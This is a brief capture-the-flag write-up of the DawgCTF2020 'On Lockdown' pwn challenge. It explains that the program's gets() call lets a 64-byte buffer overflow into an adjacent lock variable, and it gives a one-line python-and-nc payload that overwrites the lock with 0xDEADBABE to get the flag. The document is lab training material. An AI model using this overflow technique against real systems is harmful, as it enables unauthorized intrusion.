# On Lockdown | DawgCTF2020

## Problem
Better than locked up I guess
nc ctf.umbccd.io 4500

I made this really cool flag but Governor Hogan put it on lockdown
Can you convince him to give it to you?

## Solution
1. Review code the code in onlockdown.c
2. Notice it's using gets, with buf and lock initialized together:

int lock = 0;
char buf[64];

3. Buffer overflow to change the lock value. Can be done in pwntools, or just via the following, which was what I did:

$ python -c "print('a' * 64 + '\xBE\xBA\xAD\xDE')" | nc ctf.umbccd.io 4500
This gives the flag.

Original writeup (https://github.com/jib1337/writeups_public/tree/master/Binary%20Exploitation/BOF_onlockdown).